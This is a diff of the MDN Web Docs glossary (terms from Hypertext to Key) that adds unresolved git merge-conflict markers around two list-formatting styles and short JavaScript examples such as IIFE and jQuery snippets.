 ---
 
 ## Term: Hypertext
 
+<<<<<<< HEAD
 - Glossary
 - Web
 - WebMechanics
+=======
+-   Glossary
+-   Web
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -6373,18 +9617,31 @@ The term was coined by Ted Nelson around 1965.
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Hypertext", "Hypertext"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Hypertext", "Hypertext"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: I18N
 
+<<<<<<< HEAD
 - Beginner
 - Credibility
 - Glossary
 - Internationalization
 - OpenPractices
 - i18n
+=======
+-   Beginner
+-   Credibility
+-   Glossary
+-   Internationalization
+-   OpenPractices
+-   i18n
+>>>>>>> master
 
 ---
 
@@ -6394,6 +9651,7 @@ The term was coined by Ted Nelson around 1965.
 
 Among other things, i18n requires support for multiple
 
+<<<<<<< HEAD
 - character sets (usually via [Unicode](https://searchcio-midmarket.techtarget.com/definition/Unicode))
 - units of measure (currency, °C/°F, km/miles, etc.)
 - time and date formats
@@ -6406,13 +9664,32 @@ Among other things, i18n requires support for multiple
 - [i18n on W3C](https://www.w3.org/International/questions/qa-i18n.en#Internationalization)
 - [i18n on gala-global.org](https://www.gala-global.org/what-internationalization)
 - [i18n material on i18nguy.com](http://www.i18nguy.com/)
+=======
+-   character sets (usually via [Unicode](https://searchcio-midmarket.techtarget.com/definition/Unicode))
+-   units of measure (currency, °C/°F, km/miles, etc.)
+-   time and date formats
+-   keyboard layouts
+-   text directions
+
+#### See also
+
+-   _interwiki("wikipedia", "Internationalization and localization", "i18n"_) on Wikipedia
+-   [i18n on W3C](https://www.w3.org/International/questions/qa-i18n.en#Internationalization)
+-   [i18n on gala-global.org](https://www.gala-global.org/what-internationalization)
+-   [i18n material on i18nguy.com](http://www.i18nguy.com/)
+>>>>>>> master
 
 ---
 
 ## Term: IANA
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -6420,15 +9697,25 @@ Among other things, i18n requires support for multiple
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://www.iana.org/)
 - _interwiki("wikipedia", "Internet Assigned Numbers Authority", "IANA"_) on Wikipedia
+=======
+-   [Official website](https://www.iana.org/)
+-   _interwiki("wikipedia", "Internet Assigned Numbers Authority", "IANA"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: ICANN
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -6436,18 +9723,31 @@ Among other things, i18n requires support for multiple
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://www.icann.org/)
 - _interwiki("wikipedia", "ICANN", "ICANN"_) on Wikipedia
+=======
+-   [Official website](https://www.icann.org/)
+-   _interwiki("wikipedia", "ICANN", "ICANN"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: ICE
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Networking
 - Protocols
 - WebRTC
+=======
+-   CodingScripting
+-   Glossary
+-   Networking
+-   Protocols
+-   WebRTC
+>>>>>>> master
 
 ---
 
@@ -6462,17 +9762,29 @@ The framework algorithm looks for the lowest-latency path for connecting the two
 
 #### See also
 
+<<<<<<< HEAD
 - [WebRTC](/en-US/docs/Web/API/WebRTC_API), the principal web-related protocol which uses ICE
 - [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
 - _rfc("5245"_), the IETF specification for ICE
 - _domxref("RTCIceCandidate"_), the interface representing a ICE candidate
+=======
+-   [WebRTC](/en-US/docs/Web/API/WebRTC_API), the principal web-related protocol which uses ICE
+-   [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
+-   _rfc("5245"_), the IETF specification for ICE
+-   _domxref("RTCIceCandidate"_), the interface representing a ICE candidate
+>>>>>>> master
 
 ---
 
 ## Term: IDE
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -6480,14 +9792,23 @@ The framework algorithm looks for the lowest-latency path for connecting the two
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Integrated_development_environment", "IDE"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Integrated_development_environment", "IDE"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Idempotent
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -6518,18 +9839,31 @@ Note that the idempotence of a method is not guaranteed by the server and some a
 
 #### See also
 
+<<<<<<< HEAD
 - Definition of [idempotent](https://datatracker.ietf.org/doc/html/rfc7231#section-4.2.2) in the HTTP specification.
 - Description of common idempotent methods: _HTTPMethod("GET"_), _HTTPMethod("HEAD"_), _HTTPMethod("PUT"_), _HTTPMethod("DELETE"_), _HTTPMethod("OPTIONS"_), _HTTPMethod("TRACE"_)
 - Description of common non-idempotent methods: _HTTPMethod("POST"_),_HTTPMethod("PATCH"_), _HTTPMethod("CONNECT"_)
+=======
+-   Definition of [idempotent](https://datatracker.ietf.org/doc/html/rfc7231#section-4.2.2) in the HTTP specification.
+-   Description of common idempotent methods: _HTTPMethod("GET"_), _HTTPMethod("HEAD"_), _HTTPMethod("PUT"_), _HTTPMethod("DELETE"_), _HTTPMethod("OPTIONS"_), _HTTPMethod("TRACE"_)
+-   Description of common non-idempotent methods: _HTTPMethod("POST"_),_HTTPMethod("PATCH"_), _HTTPMethod("CONNECT"_)
+>>>>>>> master
 
 ---
 
 ## Term: Identifier
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
 - Sharing
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+-   Sharing
+>>>>>>> master
 
 ---
 
@@ -6541,6 +9875,7 @@ An identifier differs from a string in that a _glossary("string"_) is data, whil
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Identifier#In_computer_science", "Identifier"_) on Wikipedia
 - [Glossary](/en-US/docs/Glossary)
 
@@ -6548,15 +9883,31 @@ An identifier differs from a string in that a _glossary("string"_) is data, whil
     - _glossary("Scope"_)
     - _glossary("string"_)
     - _glossary("Unicode"_)
+=======
+-   _interwiki("wikipedia", "Identifier#In_computer_science", "Identifier"_) on Wikipedia
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("Identifier"_)
+    -   _glossary("Scope"_)
+    -   _glossary("string"_)
+    -   _glossary("Unicode"_)
+>>>>>>> master
 
 ---
 
 ## Term: IDL
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - IDL
 - Interface description language
+=======
+-   CodingScripting
+-   Glossary
+-   IDL
+-   Interface description language
+>>>>>>> master
 
 ---
 
@@ -6578,18 +9929,31 @@ IDL attributes can [reflect other types](https://www.whatwg.org/specs/web-apps/c
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Interface description language", "IDL"_) on Wikipedia
 - [HTML attribute reference](/en-US/docs/Web/HTML/Attributes)
 - [Interface Definition Language](https://www.eecs.berkeley.edu/~messer/netappc/Supplements/10-idl.pdf)
+=======
+-   _interwiki("wikipedia", "Interface description language", "IDL"_) on Wikipedia
+-   [HTML attribute reference](/en-US/docs/Web/HTML/Attributes)
+-   [Interface Definition Language](https://www.eecs.berkeley.edu/~messer/netappc/Supplements/10-idl.pdf)
+>>>>>>> master
 
 ---
 
 ## Term: IETF
 
+<<<<<<< HEAD
 - Glossary
 - IETF
 - Infrastructure
 - Internet
+=======
+-   Glossary
+-   IETF
+-   Infrastructure
+-   Internet
+>>>>>>> master
 
 ---
 
@@ -6599,17 +9963,29 @@ The IETF is open, run by volunteers, and sponsored by the [Internet Society](htt
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://www.ietf.org/)
+=======
+-   [Official website](https://www.ietf.org/)
+>>>>>>> master
 
 ---
 
 ## Term: IIFE
 
+<<<<<<< HEAD
 - CodingScripting
 - DesignPattern
 - Functions
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   DesignPattern
+-   Functions
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -6617,6 +9993,10 @@ The IETF is open, run by volunteers, and sponsored by the [Internet Society](htt
 > The name IIFE is promoted by Ben Alman in [his blog](https://web.archive.org/web/20171201033208/http://benalman.com/news/2010/11/immediately-invoked-function-expression/#iife).
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 (function () {
     statements;
 })();
@@ -6637,6 +10017,10 @@ again, we could use the IIFE pattern. As we will not reuse the code again, using
 using a function declaration or a function expression.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 (function () {
     // some initiation code
     let firstVariable;
@@ -6652,6 +10036,10 @@ We would also use IIFE to create private and public variables and methods. For a
 pattern and other use of IIFE, you could see the book Learning JavaScript Design Patterns by Addy Osmani.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const makeWithdraw = (balance) =>
     (function (copyBalance) {
         let balance = copyBalance; // This variable is private
@@ -6689,6 +10077,10 @@ Suppose we want to create 2 buttons with the texts Button 0 and Button 1 and we
 them, we would like them to alert 0 and 1. The following code doesn't work:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 for (var i = 0; i < 2; i++) {
     const button = document.createElement('button');
     button.innerText = 'Button ' + i;
@@ -6704,6 +10096,10 @@ When clicked, both Button 0 and Button 1 alert 2 because `i` is global,
 with the last value 2. To fix this problem before ES6, we could use the IIFE pattern:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 for (var i = 0; i < 2; i++) {
     const button = document.createElement('button');
     button.innerText = 'Button ' + i;
@@ -6722,6 +10118,10 @@ The variable `i` is globally defined.
 Using the statement **let**, we could simply do:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 for (let i = 0; i < 2; i++) {
     const button = document.createElement('button');
     button.innerText = 'Button ' + i;
@@ -6737,21 +10137,37 @@ When clicked, these buttons alert 0 and 1.
 
 #### See also
 
+<<<<<<< HEAD
 - [Quick example](/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript#Functions) (at the end of the "Functions" section, right before "Custom objects")
 - _interwiki("wikipedia", "Immediately-invoked function expression", "IIFE"_) (Wikipedia)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Function"_)
     - _Glossary("Self-Executing Anonymous Function"_)
+=======
+-   [Quick example](/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript#Functions) (at the end of the "Functions" section, right before "Custom objects")
+-   _interwiki("wikipedia", "Immediately-invoked function expression", "IIFE"_) (Wikipedia)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Function"_)
+    -   _Glossary("Self-Executing Anonymous Function"_)
+>>>>>>> master
 
 ---
 
 ## Term: IMAP
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Infrastructure
 - MailNews
+=======
+-   Beginner
+-   Glossary
+-   Infrastructure
+-   MailNews
+>>>>>>> master
 
 ---
 
@@ -6763,22 +10179,34 @@ Mark Crispin initially developed IMAP in 1986 as _Interim Mail Access Protocol_.
 
 #### See also
 
+<<<<<<< HEAD
 - _RFC(3501_)
 - _Glossary("POP"_)
 - _interwiki("wikipedia", "Internet Message Access Protocol", "IMAP"_) on Wikipedia
+=======
+-   _RFC(3501_)
+-   _Glossary("POP"_)
+-   _interwiki("wikipedia", "Internet Message Access Protocol", "IMAP"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Immutable
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
 > An immutable _glossary("object"_) is one whose content cannot be changed.
 > An object can be immutable for various reasons, for example:
 
+<<<<<<< HEAD
 - To improve performance (no planning for the object's future changes)
 - To reduce memory use (make _glossary("object reference","object references"_) instead of cloning the whole object)
 - Thread-safety (multiple threads can reference the same object without interfering with one other)
@@ -6786,11 +10214,21 @@ Mark Crispin initially developed IMAP in 1986 as _Interim Mail Access Protocol_.
 #### See also
 
 - _interwiki("wikipedia", "Immutable object", "Immutable"_) on Wikipedia
+=======
+-   To improve performance (no planning for the object's future changes)
+-   To reduce memory use (make _glossary("object reference","object references"_) instead of cloning the whole object)
+-   Thread-safety (multiple threads can reference the same object without interfering with one other)
+
+#### See also
+
+-   _interwiki("wikipedia", "Immutable object", "Immutable"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: 'MDN Web Docs Glossary: Definitions of Web-related terms'
 
+<<<<<<< HEAD
 - Beginner
 - Definitions
 - Dictionary
@@ -6798,6 +10236,15 @@ Mark Crispin initially developed IMAP in 1986 as _Interim Mail Access Protocol_.
 - Index
 - Landing
 - Terminology
+=======
+-   Beginner
+-   Definitions
+-   Dictionary
+-   Glossary
+-   Index
+-   Landing
+-   Terminology
+>>>>>>> master
 
 ---
 
@@ -6811,7 +10258,14 @@ _LearnBox({"title":"Learn a new word ..."}_)
 
 <section id="Quick_links">
  <ol>
+<<<<<<< HEAD
   <li><strong><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a></strong>_ListSubpagesForSidebar("/en-us/docs/Glossary", 1_)</li>
+=======
+  <li>
+<strong>
+<a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+</strong>_ListSubpagesForSidebar("/en-us/docs/Glossary", 1_)</li>
+>>>>>>> master
  </ol>
 </section>
 
@@ -6819,11 +10273,19 @@ _LearnBox({"title":"Learn a new word ..."}_)
 
 ## Term: IndexedDB
 
+<<<<<<< HEAD
 - API
 - CodingScripting
 - Database
 - Glossary
 - Sql
+=======
+-   API
+-   CodingScripting
+-   Database
+-   Glossary
+-   Sql
+>>>>>>> master
 
 ---
 
@@ -6831,17 +10293,29 @@ _LearnBox({"title":"Learn a new word ..."}_)
 
 #### See also
 
+<<<<<<< HEAD
 - The _domxref('IndexedDB_API','IndexedDB API','',1_) on MDN
 - [The W3C specification for IndexedDB](https://w3c.github.io/IndexedDB/)
+=======
+-   The _domxref('IndexedDB_API','IndexedDB API','',1_) on MDN
+-   [The W3C specification for IndexedDB](https://w3c.github.io/IndexedDB/)
+>>>>>>> master
 
 ---
 
 ## Term: Index
 
+<<<<<<< HEAD
 - Glossary
 - Index
 - MDN Meta
 - Navigation
+=======
+-   Glossary
+-   Index
+-   MDN Meta
+-   Navigation
+>>>>>>> master
 
 ---
 
@@ -6851,9 +10325,15 @@ _LearnBox({"title":"Learn a new word ..."}_)
 
 ## Term: Information architecture
 
+<<<<<<< HEAD
 - Design
 - Glossary
 - information architecture
+=======
+-   Design
+-   Glossary
+-   information architecture
+>>>>>>> master
 
 ---
 
@@ -6861,16 +10341,27 @@ _LearnBox({"title":"Learn a new word ..."}_)
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Information_architecture", "Information architecture"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Information_architecture", "Information architecture"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Inheritance
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Inheritance
 - Programming Language
+=======
+-   CodingScripting
+-   Glossary
+-   Inheritance
+-   Programming Language
+>>>>>>> master
 
 ---
 
@@ -6880,18 +10371,27 @@ As an app developer, you can choose which of the superclass's _glossary("attribu
 
 #### See also
 
+<<<<<<< HEAD
 - [Inheritance and the prototype chain](/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)
+=======
+-   [Inheritance and the prototype chain](/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)
+>>>>>>> master
 
 ---
 
 ## Term: Input method editor
 
+<<<<<<< HEAD
 - Glossary
+=======
+-   Glossary
+>>>>>>> master
 
 ---
 
 > An input method editor (IME) is a program that provides a specialized user interface for text input. Input method editors are used in many situations:
 
+<<<<<<< HEAD
 - to enter Chinese, Japanese, or Korean text using a Latin keyboard
 - to enter Latin text using a numeric keypad
 - to enter text on a touch screen using handwriting recognition
@@ -6902,17 +10402,38 @@ As an app developer, you can choose which of the superclass's _glossary("attribu
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("I18N"_)
+=======
+-   to enter Chinese, Japanese, or Korean text using a Latin keyboard
+-   to enter Latin text using a numeric keypad
+-   to enter text on a touch screen using handwriting recognition
+
+#### See also
+
+-   _Interwiki("wikipedia", "Input method"_)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("I18N"_)
+>>>>>>> master
 
 ---
 
 ## Term: Instance
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
 - JavaScript
 - NeedsExample
 - OOP
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   NeedsExample
+-   OOP
+>>>>>>> master
 
 ---
 
@@ -6920,15 +10441,25 @@ As an app developer, you can choose which of the superclass's _glossary("attribu
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Instance (computer science)", "Instance"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Instance (computer science)", "Instance"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Internationalization
 
+<<<<<<< HEAD
 - Glossary
 - Internationalization
 - Reference
+=======
+-   Glossary
+-   Internationalization
+-   Reference
+>>>>>>> master
 
 ---
 
@@ -6938,14 +10469,21 @@ Internationalization includes support for multiple character sets (usually via [
 
 #### See also
 
+<<<<<<< HEAD
 - [Internationalization extension](/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization)
 - [Internationalization API](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl)
 - [Flexbox](/en-US/docs/Learn/CSS/CSS_layout/Flexbox) and [Grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)
+=======
+-   [Internationalization extension](/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization)
+-   [Internationalization API](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl)
+-   [Flexbox](/en-US/docs/Learn/CSS/CSS_layout/Flexbox) and [Grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)
+>>>>>>> master
 
 ---
 
 ## Term: Internet
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Guide
@@ -6954,6 +10492,16 @@ Internationalization includes support for multiple character sets (usually via [
 - Tutorial
 - Web
 - WebMechanics
+=======
+-   Beginner
+-   Glossary
+-   Guide
+-   Intro
+-   NeedsContent
+-   Tutorial
+-   Web
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -6961,15 +10509,25 @@ Internationalization includes support for multiple character sets (usually via [
 
 #### See also
 
+<<<<<<< HEAD
 - [How the Internet works](/en-US/docs/Learn/Common_questions/How_does_the_Internet_work) (introduction for beginners)
+=======
+-   [How the Internet works](/en-US/docs/Learn/Common_questions/How_does_the_Internet_work) (introduction for beginners)
+>>>>>>> master
 
 ---
 
 ## Term: Intrinsic size
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - Intrinsic size
+=======
+-   CSS
+-   Glossary
+-   Intrinsic size
+>>>>>>> master
 
 ---
 
@@ -6987,10 +10545,17 @@ For images the intrinsic size has the same meaning — it is the size that an im
 
 ## Term: IP Address
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Infrastructure
 - Web
+=======
+-   Beginner
+-   Glossary
+-   Infrastructure
+-   Web
+>>>>>>> master
 
 ---
 
@@ -7000,17 +10565,29 @@ For images the intrinsic size has the same meaning — it is the size that an im
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "IP address", "IP address"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "IP address", "IP address"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: IPv4
 
+<<<<<<< HEAD
 - Glossary
 - IPv4
 - Infrastructure
 - Internet Protocol
 - Protocol
+=======
+-   Glossary
+-   IPv4
+-   Infrastructure
+-   Internet Protocol
+-   Protocol
+>>>>>>> master
 
 ---
 
@@ -7026,12 +10603,21 @@ _interwiki("wikipedia", "IPv4", "IPv4"_) on Wikipedia
 
 ## Term: IPv6
 
+<<<<<<< HEAD
 - Glossary
 - IPv6
 - Infrastructure
 - Intermediate
 - Web
 - WebMechanics
+=======
+-   Glossary
+-   IPv6
+-   Infrastructure
+-   Intermediate
+-   Web
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -7039,17 +10625,29 @@ _interwiki("wikipedia", "IPv4", "IPv4"_) on Wikipedia
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "IPv6", "IPv6"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "IPv6", "IPv6"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: IRC
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Internet Relay Chat
 - Open Protocol
 - irc
+=======
+-   Glossary
+-   Infrastructure
+-   Internet Relay Chat
+-   Open Protocol
+-   irc
+>>>>>>> master
 
 ---
 
@@ -7061,11 +10659,19 @@ Designed in the late 1980s by Jarrko Oikarinen, IRC uses _glossary("TCP"_) and i
 
 ## Term: ISO
 
+<<<<<<< HEAD
 - Glossary
 - ISO
 - Infrastructure
 - Web Standards
 - web specifications
+=======
+-   Glossary
+-   ISO
+-   Infrastructure
+-   Web Standards
+-   web specifications
+>>>>>>> master
 
 ---
 
@@ -7073,17 +10679,29 @@ Designed in the late 1980s by Jarrko Oikarinen, IRC uses _glossary("TCP"_) and i
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://www.iso.org/iso/home.html)
+=======
+-   [Official website](https://www.iso.org/iso/home.html)
+>>>>>>> master
 
 ---
 
 ## Term: ISP
 
+<<<<<<< HEAD
 - Glossary
 - ISP
 - Internet Service Provider
 - Web
 - WebMechanics
+=======
+-   Glossary
+-   ISP
+-   Internet Service Provider
+-   Web
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -7091,17 +10709,29 @@ Designed in the late 1980s by Jarrko Oikarinen, IRC uses _glossary("TCP"_) and i
 
 #### See also
 
+<<<<<<< HEAD
 - [How the Internet works](/en-US/docs/Learn/Common_questions/How_does_the_Internet_work) (explanation for beginners)
 - _interwiki("wikipedia", "Internet service provider", "Internet service provider"_) on Wikipedia
+=======
+-   [How the Internet works](/en-US/docs/Learn/Common_questions/How_does_the_Internet_work) (explanation for beginners)
+-   _interwiki("wikipedia", "Internet service provider", "Internet service provider"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: ITU
 
+<<<<<<< HEAD
 - Glossary
 - ITU
 - Standardization
 - organization
+=======
+-   Glossary
+-   ITU
+-   Standardization
+-   organization
+>>>>>>> master
 
 ---
 
@@ -7113,18 +10743,31 @@ In the Internet Age, the ITU's role of establishing standards for video and audi
 
 #### See also
 
+<<<<<<< HEAD
 - [ITU web site](https://www.itu.int/)
 - [ITU history portal](https://www.itu.int/en/history/Pages/ITUsHistory.aspx)
+=======
+-   [ITU web site](https://www.itu.int/)
+-   [ITU history portal](https://www.itu.int/en/history/Pages/ITUsHistory.aspx)
+>>>>>>> master
 
 ---
 
 ## Term: Jank
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
 - Performance
 - Web Performance
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+-   Performance
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -7134,10 +10777,17 @@ In the Internet Age, the ITU's role of establishing standards for video and audi
 
 ## Term: Java
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Java
 - Programming Language
+=======
+-   CodingScripting
+-   Glossary
+-   Java
+-   Programming Language
+>>>>>>> master
 
 ---
 
@@ -7149,16 +10799,27 @@ Programs are _glossary("Compile", "compiled"_) only once ahead of time into a pr
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Java (programming language)", "Java"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Java (programming language)", "Java"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: JavaScript
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
 - l10n:priority
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   l10n:priority
+>>>>>>> master
 
 ---
 
@@ -7180,6 +10841,7 @@ Recently, JavaScript's popularity has expanded even further through the successf
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "JavaScript", "JavaScript"_) on Wikipedia
 - The _Link("/en-US/docs/Web/JavaScript/Guide"_) on MDN
 - [The "javascripting" workshop on NodeSchool](https://nodeschool.io/#workshoppers)
@@ -7187,16 +10849,33 @@ Recently, JavaScript's popularity has expanded even further through the successf
 - [The latest ECMAScript standard](https://www.ecma-international.org/publications/standards/Ecma-262.htm)
 - The _Link("/en-US/docs/Web/JavaScript/reference"_) on MDN
 - [The _Eloquent JavaScript_ book](https://eloquentjavascript.net/)
+=======
+-   _interwiki("wikipedia", "JavaScript", "JavaScript"_) on Wikipedia
+-   The _Link("/en-US/docs/Web/JavaScript/Guide"_) on MDN
+-   [The "javascripting" workshop on NodeSchool](https://nodeschool.io/#workshoppers)
+-   [The JavaScript course on codecademy.com](https://www.codecademy.com/tracks/javascript)
+-   [The latest ECMAScript standard](https://www.ecma-international.org/publications/standards/Ecma-262.htm)
+-   The _Link("/en-US/docs/Web/JavaScript/reference"_) on MDN
+-   [The _Eloquent JavaScript_ book](https://eloquentjavascript.net/)
+>>>>>>> master
 
 ---
 
 ## Term: JPEG
 
+<<<<<<< HEAD
 - Beginner
 - Composing
 - Glossary
 - Images
 - JPEG
+=======
+-   Beginner
+-   Composing
+-   Glossary
+-   Images
+-   JPEG
+>>>>>>> master
 
 ---
 
@@ -7206,15 +10885,25 @@ JPEG compression is composed of three compression techniques applied in successi
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "JPEG"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "JPEG"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: jQuery
 
+<<<<<<< HEAD
 - Glossary
 - JQuery
 - JavaScript
+=======
+-   Glossary
+-   JQuery
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -7223,6 +10912,10 @@ JPEG compression is composed of three compression techniques applied in successi
 jQuery uses a format, `$(selector).action()` to assign an element(s) to an event. To explain it in detail, `$(selector)` will call jQuery to select `selector` element(s), and assign it to an event _Glossary("API"_) called `.action()`.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 $(document).ready(function () {
     alert('Hello World!');
     $('#blackBox').hide();
@@ -7232,6 +10925,10 @@ $(document).ready(function () {
 The above code carries out the same function as the following code:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 window.onload = function () {
     alert('Hello World!');
     document.getElementById('blackBox').style.display = 'none';
@@ -7241,6 +10938,10 @@ window.onload = function () {
 Or:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 window.addEventListener('load', () => {
     alert('Hello World!');
     document.getElementById('blackBox').style.display = 'none';
@@ -7249,19 +10950,33 @@ window.addEventListener('load', () => {
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "jQuery"_) on Wikipedia
 - [jQuery Official Website](https://jquery.com/)
 - [Official API reference documentation](https://api.jquery.com/)[](https://api.jquery.com/)
+=======
+-   _Interwiki("wikipedia", "jQuery"_) on Wikipedia
+-   [jQuery Official Website](https://jquery.com/)
+-   [Official API reference documentation](https://api.jquery.com/)[](https://api.jquery.com/)
+>>>>>>> master
 
 ---
 
 ## Term: JSON
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Intro
 - JSON
 - l10n:priority
+=======
+-   CodingScripting
+-   Glossary
+-   Intro
+-   JSON
+-   l10n:priority
+>>>>>>> master
 
 ---
 
@@ -7271,16 +10986,27 @@ JSON can represent numbers, booleans, strings, `null`, arrays (ordered sequences
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "JSON", "JSON"_) on Wikipedia
 - _Link("/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON"_) on MDN
+=======
+-   _interwiki("wikipedia", "JSON", "JSON"_) on Wikipedia
+-   _Link("/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON"_) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: Key
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -7292,6 +11018,7 @@ In _Glossary("symmetric-key cryptography"_), the same key is used for both encry
 
 #### See also
 
+<<<<<<< HEAD
 - [Kerckhoffs's principle](https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle) on Wikipedia
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
@@ -7307,15 +11034,39 @@ In _Glossary("symmetric-key cryptography"_), the same key is used for both encry
     - _Glossary("Plaintext"_)
     - _Glossary("Public-key cryptography"_)
     - _Glossary("Symmetric-key cryptography"_)
+=======
+-   [Kerckhoffs's principle](https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle) on Wikipedia
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Block cipher mode of operation"_)
+    -   _Glossary("Cipher"_)
+    -   _Glossary("Ciphertext"_)
+    -   _Glossary("Cipher suite"_)
+    -   _Glossary("Cryptanalysis"_)
+    -   _Glossary("Cryptography"_)
